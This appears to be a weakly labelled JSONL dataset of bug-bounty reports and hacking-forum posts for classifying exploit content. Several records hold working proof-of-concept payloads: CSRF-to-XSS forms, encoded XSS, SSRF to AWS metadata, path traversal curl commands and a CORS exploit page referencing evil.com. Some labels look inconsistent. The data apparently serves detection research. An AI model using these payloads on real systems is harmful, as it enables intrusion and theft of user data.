-{"id": "cf3dd9976ba8730060d1", "text": "Solution for the issue Dear Academy members, For anybody still having the NT_STATUS_IO_TIMEOUT issue in the Windows Fundamentals Module, the reason causing your inability to ping/interact with the machine (besides port 3389 ) is the Windows Defender Firewall . In order to fix the issue, you must open the Windows Defender Firewall settings in the target machine. image 675×668 91.1 KB Head into the Turn Windows Defender Firewall on or off section, and turn off the options. Best of luck with your studies! lypd0", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b3704ee216f3ac62428", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32205: Set-Cookie denial of service\n\nA malicious server can serve excessive amounts of Set-Cookie: headers in a HTTP response to curl and curl stores all of them. A sufficiently large amount of (big) cookies make subsequent HTTP requests to this, or other servers to which the cookies match, create requests that become larger than the threshold that curl uses internally to avoid sending crazy large requests (1048576 bytes) and instead returns an error.\n\nThis denial state might remain for as long as the same cookies are kept, match and haven't expired. Due to cookie matching rules, a server on foo.example.com can set cookies that also would match for bar.example.com, making it it possible for a \"sister server\" to effectively cause a denial of service for a sibling site on the same second level domain using this method.\n\n## Impact\n\nDenial of service", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32205"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "54cfc237799a5a43d383", "text": "[Cross-Site Request Forgery (CSRF)] CSRF to XSS in /htdocs/modules/system/admin.php\n\n## Summary:\n\nThe ```memberslist_id``` and ```memberlist_uname[]``` POST parameters in the scenario \"/htdocs/modules/system/admin.php\" are affected by XSS due to lack of user supplied data filtration. Due to lack of CSRF token verification it is possible for attacker to craft special web page, which will perform request to the vulnerable ImpressCMS application on authorised user behalf, upon visiting it. \n\n## ImpressCMS branch :\n\nImpress CMS version: 1.4.2\nPHP Version: 7.2.24\n\n## Browsers Verified In:\n\nFirefox 85.0\n\n## Steps To Reproduce:\n\n  1) Host a web server with the following page (note that url in form action should be modified with your testing address)\n\n```\n<html>\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"http://<YOUR IMPRESS CMS HOST>/htdocs/modules/system/admin.php?fct=mailusers\" method=\"POST\">\n        <input type=\"hidden\" name=\"mail&#95;to&#95;group&#91;&#93;\" value=\"2\" />\n      <input type=\"hidden\" name=\"mail&#95;lastlog&#95;min\" value=\"\" />\n      <input type=\"hidden\" name=\"mail&#95;lastlog&#95;max\" value=\"\" />\n      <input type=\"hidden\" name=\"mail&#95;idle&#95;more\" value=\"\" />\n      <input type=\"hidden\" name=\"mail&#95;idle&#95;less\" value=\"\" />\n      <input type=\"hidden\" name=\"mail&#95;regd&#95;min\" value=\"\" />\n      <input type=\"hidden\" name=\"mail&#95;regd&#95;max\" value=\"\" />\n      <input type=\"hidden\" name=\"mail&#95;fromname\" value=\"ImpressCMS\" />\n      <input type=\"hidden\" name=\"mail&#95;fromemail\" value=\"impress&#64;notexist&#46;notexist\" />\n      <input type=\"hidden\" name=\"mail&#95;subject\" value=\"\" />\n      <input type=\"hidden\" name=\"mail&#95;body\" value=\"&#123;&#36;smarty&#46;version&#125;\" />\n      <input type=\"hidden\" name=\"mail&#95;send&#95;to&#91;&#93;\" value=\"mail\" />\n      <input type=\"hidden\" name=\"mail&#95;submit\" value=\"Send\" />\n      <input type=\"hidden\" name=\"op\" value=\"send\" />\n      <input type=\"hidden\" name=\"mail&#95;start\" value=\"0\" />\n      <input type=\"hidden\" name=\"memberslist&#95;id&#91;&#93;\" value=\"asdf&apos;&gt;&lt;&#47;a&gt;&lt;svg&#47;onload&#61;alert&#40;document.cookie&#41;&gt;\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n\n```\n  2)  Login to your ImpressCMS application with privileged account\n  3) In the same browser open web page from step 1 and click \"Submit request\"\n  4) See the XSS payload fired \n\n## Suggestions to mitigate or resolve the issue:\nProperly sanitise  user input using built-in ```StopXSS``` function. Properly check CSRF token\n\n## Credits\nThis bug was found as a part of Solar Security CMS Reseach, with https://hackerone.com/d0bby, https://hackerone.com/wezery0, https://hackerone.com/silvereniqma in collaboration. Can you, please, add them to this report?\n\n## Impact\n\nCSRF leading to XSS", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5a5791cae2ffc6c93cf1", "text": "curl -s https://www.inlanefreight.com | grep -Eo \"(http|https)://[a-zA-Z0-9./?=_-]*\" | sort -u | wc -l Description: curl -s retrieves the HTML content of the webpage https://www.inlanefreight.com in a silent mode without showing progress meter or error messages. grep -Eo \"(http|https)://[a-zA-Z0-9./?=_-]*\" searches for all the links within the HTML content of the webpage by matching the regular expression (http|https)://[a-zA-Z0-9./?=_-]* . This regular expression matches any string that starts with http:// or https:// followed by any combination of letters, digits, slashes, question marks, underscores, and dashes. sort -u sorts and removes any duplicate links from the output. wc -l counts the number of lines in the output, which represents the total number of unique links found on the webpage.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6e3b5602dbfab4476abd", "text": "[Server-Side Request Forgery (SSRF)] SSRF ACCESS AWS METADATA - █████\n\nHi Security Team,\nBased on https://hackerone.com/hack-us-h1c challenge, I have urgent vulnerability and the challenge doesn't accept reprots for now 1:56 AM \n.\nI have found a SSRF Vulnerability which allow access to the AWS metadata, using Parameter `?url=` as shown blew\nAn attacker can tunnel into internal networks and access sensitive internal data such as AWS meta data information.\n\n.\n**Http Request**\n```http\nGET /api/v1/download-url?url=http://█████/latest/meta-data/ HTTP/1.1\nHost: ████████\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccess-Control-Allow-Origin: *\nReferer: https://████/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\n\n```\n.\n**Http Response**\n```http\nHTTP/1.1 200 OK\nServer: nginx/1.21.6\nDate: Mon, 04 Jul 2022 05:42:12 GMT\nContent-Type: text/plain\nConnection: close\nStrict-Transport-Security: max-age=31536000; includeSubdomains\nX-Frame-Options: DENY\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nContent-Security-Policy: object-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;\nFront-End-Https: on\nContent-Length: 313\n\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhostname\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n```\n.\n.\n**SCREEN SHOT**\n████\n.\n.\n\n## Impact\n\nSSRF Vulnerability \nRemote Access to AWS metadata\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1 - Visit https://██████████\n2 - Press 'Import from URL' Button & Enter SSRF Payload in the Dialog Box\n3 - Intercept the Request & observe the response\n\n## Suggested Mitigation/Remediation Actions\nSanitize user supplied input in paramter `?url=`\nBlock access to internal networks", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7ea106e98a051600dcf6", "text": "[Path Traversal] Internal machine learning API endpoint for CWE classification is vulnerable to path traversal\n\nHackerOne has an internal machine learning API that exposes inference endpoints for numerous machine learning / artificial intelligence solutions. In one of the endpoints, `/predict/report_weakness_id`, which is used to classify report input, a path traversal vulnerability exists that could lead to remote code execution.\n\n# Proof of concept\nThe `request.version` and `request.trained_at` parameters are both vulnerable to path traversal. To reproduce, run any of the following curl commands inside the local Docker container:\n\n**trained_at**\n```\ncurl -X POST http://localhost:8082/predict/report_weakness_id -H 'content-type: application/json' -d'{\"version\":\"v1\", \"trained_at\": \"2023-01-01T00:00:00Z/../../..\", \"input\": [{\"title\": \"test xss\", \"num_of_top_predictions\": 3}]}'\n```\n\n**version**\n```\ncurl -X POST http://localhost:8082/predict/report_weakness_id -H 'content-type: application/json' -d'{\"version\":\"v1/../../../..\", \"trained_at\": \"2023-01-01T00:00:00Z\", \"input\": [{\"title\": \"test xss\", \"num_of_top_predictions\": 3}]}'\n```\n\nThe vulnerable code is shown below. The `version` and `trained_at` inputs are interpolated directly into the path, as can be seen on line 29. The `AutoTokenizer.from_pretrained` function is then called to load the tokenizer into memory.\n\n```python\n@app.post(\n    \"/predict/report_weakness_id\",\n    summary=\"An endpoint to suggest report's weakness id.\",\n)\nasync def report_weakness_id(request: ReportWeaknessIdModelRequest):\n    \"\"\"\n    To try the endpoint in the Swagger UI, click on **Try it out** and copy-paste the below example in the request body box\n    ```\n    {\n        \"version\":\"v1\",\n        \"trained_at\": \"2023-01-01T00_00_00Z\",\n        \"input\": [\n            {\n                \"title\": \"test xss\",\n                \"num_of_top_predictions\": 3\n            }\n        ]\n    }\n    ```\n    \"\"\"\n    input = request.input[0]\n    title = preprocess_text(input.title)\n\n    top_n = int(\n        input.num_of_top_predictions or 3\n    )  # as a start, it's by default set as 3\n\n    model_dirpath = pathlib.Path(\n        f\"{os.path.dirname(__file__)}/../models/report_weakness_id/{request.version}/{request.trained_at}/\"\n    )\n\n    tokenizer = AutoTokenizer.from_pretrained(model_dirpath, use_fast=True)\n```\n\n## Impact\n\nAn attacker would be able to execute arbitrary python code if they were able to get a joblib file onto the ML API (i.e. as a temporary file).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ffd87bdf8b4a6bbe8326", "text": "[Violation of Secure Design Principles] Bypassing CORS Misconfiguration Leads to Sensitive Exposure at https://███/\n\n**Summary:**\nIt's possible to get information about the users registered (such as: id, name, login name, etc.) without authentication in WordPress via API on https://██████████/.\n\n**Description:**\nThere exists a cross-origin resource sharing (CORS) misconfiguration vulnerability at https://█████/, allowing anyone from any third-party domain to perform two-way interaction with this domain. Generally, CORS policy is used to determine whether the content in a website can interact with another specific website or not and whether the another specific website can directly fetch the content from the original website or not.\n\nCORS policy is implemented in web applications, by whitelisting/allowing company's other assets to fetch dynamic resource from the specific asset, and not allowing the rest of the third-party domains to access or fetch the content. However, the situation is different in case of this vulnerable domain, allowing anyone to fetch the resource.\n\n## Step-by-step Reproduction Instructions\nStep 1. Visit https://████/wp-json/, and you will see that it displays user IDs, names, login usernames, etc. without requiring any form of authentication;\nStep 2. Now, it is time to craft a Proof-of-Concept exploit for the CORS misconfiguration vulnerability using JavaScript. For this purpose, you may use the following piece of code:\n\n```html\n<html>\n<body>\n<center>\n<button onclick=\"exploitCORS()\">Fetch from the target!</button>\n<hr size=1 width=\"80%\">\n<textarea id=\"fetchedResource\" rows=\"10\" cols=\"50\" style=\"width:75%\" placeholder=\"Click on the button to fetch resource!\"></textarea>\n</center>\n\n<script>\nfunction exploitCORS(){\n    var req = new XMLHttpRequest();\n    req.onload = reqListener;\n    req.open('get','https://████████/wp-json/wp/v2/users/',true);\n    req.withCredentials = true;\n    req.send();\n}\n\nfunction reqListener(){\n    document.getElementById(\"fetchedResource\").value = this.responseText;\n}\n</script>\n\n</body>\n</html>\n```\n\nCopy this piece of code, and place in a file with **.html** extension, and visit the file in your web browser!\n\nStep 3. When you are viewing the exploit file in your browser, click on the button available there, and then it will fetch the resource from the target vulnerable website.\n\n## Product, Version, and Configuration (If applicable)\n- https://██████████/\n\n## Suggested Mitigation/Remediation Actions\nTo fix this vulnerability, you can use a whitelist of trusted domains rather than defining a wildcard or programmatically verifying the supplied origins.\n\n## Impact\n\nBy taking an advantage of this vulnerability, an attacker would be able to fetch contents from the vulnerable domain despite being in a third-party domain, not in the asset of the vulnerable domain. The contents that the attacker can fetch include the WordPress user IDs, usernames, and other information.\n\nDespite the wp-json API endpoint being a public information by default, there exists CORS misconfiguration in this website, that allows any website to fetch resources from this particular vulnerable domain.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Visit https://█████████/wp-json/wp/v2/users/\n2. Use the exploit PoC code mentioned earlier!\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "93d20f1de0a594425ccd", "text": "did you try to grep the output of the error.log file ??", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "789fee3c3b19bebab2f4", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in ██████\n\n**Description:**\nXSS vulnerability found on one of `█████` subdomains. [ DoD scope]\n\nAfter analyzing `https://████████/`(██████████), I found  `Admin/Notifications/PreviewLetterhead.aspx` page that have `emailbody` parameter in `GET` request.  `emailbody` parameter vulnerable to XSS vulnerability.\n\n`https://███/` requires a valid user to access the contents, but the registration page is accessible to all visitors without any restrictions or credentials.\n\n███████\n- Email confirmation is not required during the registration process.\n- There is no limit to the use of disposable email addresses.\n\nA valid registered user can access the target page after login.\nBy modifying `emailbody` parameter  and set the payload to `emailbody=0xd3adc0de%26lt;ScRiPt%26gt;alert(%27XSS%20Success!%27)%26lt;/sCripT%26gt;` the alert box has been triggered.\n\nTo bypass WAF, the payload encoded using these method:\n1. `0xd3adc0de<ScRiPt>alert('XSS Success!')</sCripT>`\n2. HTML encode: `0xd3adc0de&lt;ScRiPt&gt;alert('XSS Success!')&lt;/sCripT&gt;`\n3. URL encode: `0xd3adc0de%26lt;ScRiPt%26gt;alert(%27XSS%20Success!%27)%26lt;/sCripT%26gt;`\n\nPayload:\n`https://██████████/Admin/Notifications/PreviewLetterhead.aspx?emailbody=0xd3adc0de%26lt;ScRiPt%26gt;alert(%27XSS%20Success!%27)%26lt;/sCripT%26gt;`\n███\n\n----\n\n\n**Bonus: Information leakage**\nSome information is leaked on the registration page, I have no idea about the level of confidentiality but I think you should review them. Such as `Organization` and `Manager` field is interesting.\n-  About `162 organization` listed on registration page.\n█████████\n\n- About `144366 manager` listed on registration page.\n████\n\n\n## References\nhttps://owasp.org/www-community/attacks/xss/\n\n## Impact\n\nBy exploiting this vulnerability an attacker can trick the users to execute XSS and steal user's cookies.\nLaunch advanced phishing attacks.\nExecute browser-based attacks etc.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n* Visit the following URL \n`https://█████`\n\n* Login into system using a valid user credential or if you haven't so go to registration page and take one. `https://██████/Disclaimer.aspx?user=new`\n\n* After success login, change the URL to `https://█████/Admin/Notifications/PreviewLetterhead.aspx?emailbody=0xd3adc0de%26lt;ScRiPt%26gt;alert(%27XSS%20Success!%27)%26lt;/sCripT%26gt;` and you will receive `XSS Success!` alert box.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7ff67e70fb7c863d103a", "text": "[Improper Access Control - Generic] Verifying email bypass\n\nDuring an assessment made on a separate web-application using theirs customers to use Stripe for their payments, I detected a different behavior between account created using the standard interface and the account created using the connect portal.\n\n## Classic User creation.\n\nUsers can create their account using the classic interface on https://dashboard.stripe.com\n\n![](./classicAccountCreation.png)\n\nBy analyzing the traffic, we can see that the user is created with a POST request made on https://dashboard.stripe.com/ajax/register.\n\n![](./ClassicRegisterAccountRequest.png)\n\nThe new user can directly access to the dashboard without verify the email address entered in the creation form. However till the user has not verified the email, all features were limited to test data.\n\n![](./LimitedAccountWithClassicCreation.png)\n![](./LimitedAccountWithClassicCreation2.png)\n\nThese restrictions did not allowed to generate invoices or payments on behalf of **not verified mail** the mail entered during the creation process.\n\n## Connect User creation.\n\nStripe API proposed some Oauth features described in this article (https://stripe.com/docs/connect/oauth-reference).\n\nThe workflow begin with this type of url : https://connect.stripe.com/oauth/authorize?response_type=code&client_id={{CLIENT_ID}}****\n\nOnce the user reached this page, he has two options :\n * Sign-in with an existing account.\n * Create a new account.\n\n The second option asked to the users several informations such as \n\n * Personnal details (name, last name, adress)\n * Business details (website, activities, company adress etc)\n * Email adress\n * Bank details\n\n Second factor with SMS is required and verified for the account creation.\n\n![](./CreateWithConnect.png)\n![](./CreateWithConnect2.png)\n![](./CreateWithConnect3.png)\n![](./CreateWithConnect4.png)\n\nOnce all required informations has been filled and validated, the account is created using the API endpoint and the users is redirected to the client page with the access token generated.\n\n![](./accountCreatedUsingApi.png)\n\nBy the way, by browsing the dashboard website, the user is connected with the new account.\n\n## Vulnerabilty.\n\nInstead of the user created with the standard interface, the account created with the API can access to all Stripe feature such as :\n\n* Creating invoices and send them by email.\n* Creating subscriptions.\n* Managing customers.\n* etc...\n\nThe main concern is the email adress is not verified at this moment, it means that an attacker can impersonate a real company by spoofing the emails address.\n\n## Impact\n\nIn the POC scenario, I created the account superadmin@michelin.com for Michelin Group company. Even if I don't have access to this email, I was able to spoof invoices for Michelin. \n\nThe invoices received by customers are valid because sent by Stripe and saying that superadmin@michelin.com generated the invoice.\n\n![](./NotVerifiedAccountButActive.png)\n![](./branding.png)\n![](./InvoicesCreated.png)\n![](./createinvoice2.png)\n![](./invoiceReceived.png)\n\nThe generated invoice cannot be considered a spam as it was sent by Stripe...\n\nTo complete the report, I generated some little invoices to validate the payment and the payout to the attacker bank.\n\n![](./balance.png)\n![](./paymentsMade.png)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4cb71301e6ad27d3f0ce", "text": "Command injection, commix error\n\nHey, I would like to ask you guys whether you receive an error while testing commix that says: unable to specify host:”target.comHttps”. I noticed that when commix reads a requestFile.txt it automatically adds or somehow reads the host:” target.com ” as “target.comHttps”.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2176f84416527a1252bc", "text": "[Open Redirect] Open redirect found on account.brave.com\n\n## What is open redirect\nA web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.\nAn http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.\n\n## Step to reproduce\nvisit https://account.brave.com//example.com/%2F.. you will redirect to example.com\n\n## POC\n{F1446362}\n\n## Fix / prevention\nYou can prevent redirects to other domains by checking the URL being passed to the redirect function. Make sure all redirect URLs are relative paths – i.e. they start with a single / character. (Note that URLs starting with // will be interpreted by the browser as a protocol agnostic, absolute URL – so they should be rejected too.)\n\nIf you do need to perform external redirects, consider whitelisting the individual sites that you permit redirects to.\n\n## Impact\n\nOne of the main uses for this vulnerability is to make phishing attacks more credible and effective. When an Open Redirect is used in a phishing attack, the victim receives an email that looks legitimate with a link that points to a correct and expected domain.\n\nLet me know if you have any questions.\n\nthanks & best regards", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d34929541ad6ff45851a", "text": "[Improper Access Control - Generic] com.nextcloud.client bypass the protection lock in andoid app v 3.18.1 latest version.\n\n## Summary:\nnextcloud allowed multiple account within the android client app on a single lock \n\n\n## Steps To Reproduce:\n1.open nextcloud app \n2.add security password to protect the app \n3.close the app \n   again open the app and now show the password to open the app \n\n  1. so now the password protection bypass lets start\n  2.hold the nextcloud app and see the app info open it\n  3.Here the three option 1.open.2.uninstall and 3.force stop\nnow click open button and now see the app lock protection in the app and now open app and back open and back between 3 to 4 time \nsame procedure and now you will see the app lock protection bypass in nextcloud android app\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nif an attacker has physical access to an android mobile without screen lock,but with nextcloud installed and set up,he can easily access the nextcloud-files.\n\n\nregards:Javed Ahmad", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8228638e6549471b1155", "text": "[Improper Access Control - Generic] CORS Misconfiguration in https://████████/accounts/login/\n\n**Description:  Cross-origin resource sharing (CORS) is a browser mechanism that enables controlled access to resources located outside of a given domain. However, it also provides a potential for cross-domain-based attacks, if a website's CORS policy is poorly configured and implemented. CORS can be exploited to trust any arbitrary domain attacker-controlled domain name and send the data to it.  Attackers can make an exploit and ask the domain to send data of the victim to the attacker domain.\n\nAs you can see when we run the above request in Burp Suite.\nAccess-Control-Allow-Origin: evil.com\nAccess-Control-Allow-Credentials: true\n\n## Impact\n\nAn Adversary can carry out a CORS attack to exfiltrate the sensitive details of a victim.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nFirst, put any information in the user and password: put any wrong information and send it and pick up the request\n\nyou will see the (Origin:) Edit it and put evil.com and it will look like this \n\n```\nPOST /accounts/login/ HTTP/1.1\n\nHost: ██████\n\nCookie: _ga_8P65SJGTV5=GS1.1.1667594184.4.0.1667594184.0.0.0; _ga=GA1.1.1314420854.1667559540; csrftoken=JvozZTiwMukzgt7inOPsCLhG2hVTT98qt7mybOSNtumWh0D3w9xIJS4cOePatlet\n\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n\nAccept-Language: en-US,en;q=0.5\n\nAccept-Encoding: gzip, deflate\n\nContent-Type: application/x-www-form-urlencoded\n\nContent-Length: 117\n\nOrigin: https://evil.com\n\nReferer: https://█████/accounts/login/\n\nUpgrade-Insecure-Requests: 1\n\nSec-Fetch-Dest: document\n\nSec-Fetch-Mode: navigate\n\nSec-Fetch-Site: same-origin\n\nSec-Fetch-User: ?1\n\nTe: trailers\n\nConnection: close\n\n\n\ncsrfmiddlewaretoken=KLecVs84vqKcXOXH0olIf9HCjSIsW9sDuncb7nIlcqMzYlts9J3Ymgu85PCJwlyG&█████\n```\n\nresponse\n\n```\nHTTP/1.1 200 OK\n\nServer: nginx/1.23.0\n\nDate: Fri, 11 Nov 2022 16:36:45 GMT\n\nContent-Type: text/html; charset=utf-8\n\nContent-Length: 3371\n\nConnection: close\n\nExpires: Fri, 11 Nov 2022 16:36:45 GMT\n\nCache-Control: max-age=0, no-cache, no-store, must-revalidate, private\n\nVary: Cookie, Origin\n\nX-Frame-Options: DENY\n\nAccess-Control-Allow-Credentials: true\n\nAccess-Control-Allow-Origin: https://evil.com\n\nAccess-Control-Expose-Headers: ETag, Last-Modified, Cache-Control, Content-Type, Content-Length, WWW-Authenticate, X-Experience-API-Version, Accept-Language\n\nSet-Cookie: csrftoken=JvozZTiwMukzgt7inOPsCLhG2hVTT98qt7mybOSNtumWh0D3w9xIJS4cOePatlet; expires=Fri, 10 Nov 2023 16:36:45 GMT; Max-Age=31449600; Path=/; SameSite=Lax\n\n\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta name=\"description\" content=\"████'s open █████████\">\n\n    <link rel=\"shortcut icon\" href=\"/static/img/favicon.ico\" />\n    <link rel=\"icon\" href=\"/static/img/favicon.ico\" type=\"image/x-icon\">\n    \n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/pure/0.6.0/pure-min.css\">\n\n    <!--[if lte IE 8]>\n      <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/pure/0.6.0/grids-responsive-old-ie-min.css\">\n      <link rel=\"stylesheet\" href=\"/static/css/marketing-old-ie.css\">\n    <![endif]-->\n    <!--[if gt IE 8]><!-->\n      <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/pure/0.6.0/grids-responsive-min.css\">\n      <link rel=\"stylesheet\" href=\"/static/css/marketing.css\">\n    <!--<![endif]-->\n    \n<link rel=\"stylesheet\" href=\"/static/css/extra.css\">\n\n    <title>█████████ Login</title>\n</head>\n\n<body>\n  <div class=\"header\">\n    <div class=\"home-menu pure-menu pure-menu-horizontal pure-menu-fixed\">\n        <div class=\"pure-g\">\n          <div class=\"pure-u-1-2\">\n            <!-- <a class=\"pure-menu-heading\" href=\"/\">██████</a> -->\n            <a class=\"pure-menu-heading\" href=██████████\n          </div>\n          <div class=\"pure-u-1-2\">\n            <ul", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8ee5f9506589b60765e7", "text": "[Privilege Escalation] The use of __proto__ in process.mainModule.__proto__.require() bypasses the permission system in Node v19.6.1\n\nprocess.mainModule.require() correctly works with permission system in Node v19.6.1. \nBut the use of \\_\\_proto\\_\\_  in process.mainModule.\\_\\_proto\\_\\_.require() can bypass the check.\n\n# Description and STR\nConsider the following policy.json:\n`````\n{\n  \"resources\": {\n    \"./proc.js\": {\n      \"integrity\": true\n    }\n  }\n}\n`````\nThe policy only allows proc.js file to be loaded without any dependencies.\n\nHowever with the following proc.js\n`````\nconst os = process.mainModule.__proto__.require(\"os\")\n\nconsole.log(process.version)\nconsole.log(os.version())\n`````\nWe get the output:\n`````\n└─$ ../node-v19.6.1-linux-x64/bin/node --experimental-policy=policy.json proc.js\nv19.6.1\n#1 SMP PREEMPT Debian 5.16.18-1kali1 (2022-04-01)\n(node:2720) ExperimentalWarning: Policies are experimental.\n(Use `node --trace-warnings ...` to show where the warning was created)\n`````\nTherefore os dependency can be loaded and os.version executed even if unspecified in permission system.\n\n## Impact\n\nBypass the permission system", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "db7cf55bcaa1109a934f", "text": "If anyone has any issues try this, as you want what is listening on ipv4 only (0.0.0.0) which forces the daemon to listen on ipv4 only. netstat -luntp | grep “0.0.0.0” | grep -v “127.0.0” | grep “LISTEN” | wc -l", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1e5209953daeea104da5", "text": "[Path Traversal] Arbitrary File Deletion (CVE-2020-3187) on ████████\n\nHello team,\nI hope you're doing well, healthy & wealthy.\nI found an Arbitrary File Deletion (CVE-2020-3187) vulnerability on https://██████████/+CSCOE+/session_password.html that allows the Arbitrary File Deletion.\n\n## References\n\n    - https://twitter.com/aboul3la/status/1286809567989575685\n    - http://packetstormsecurity.com/files/158648/Cisco-Adaptive-Security-Appliance-Software-9.7-Arbitrary-File-Deletion.html\n    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43\n\nArbitrary File Deletion Reference: \n- https://video.twimg.com/ext_tw_video/1286808440271183873/pu/vid/1270x720/8tccA2VgHV9TDtW4.mp4\n\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.10\n    cve-id: CVE-2020-3187\n    cwe-id: CWE-22\n\n## Impact\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system.\n\nBest regards\n@pirneci\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nCisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software\n\n## CVE Numbers\nCVE-2020-3187\n\n## Steps to Reproduce\nHere is the PoC. If you can see \"webvpn:\" cookie, then you can delete any arbitrary file. I didn't do it. It's enough to prove the vulnerability. \n\n**PoC**\n```\nGET /+CSCOE+/session_password.html HTTP/1.1\nHost: █████\nSec-Ch-Ua: \"Chromium\";v=\"97\", \" Not;A Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: 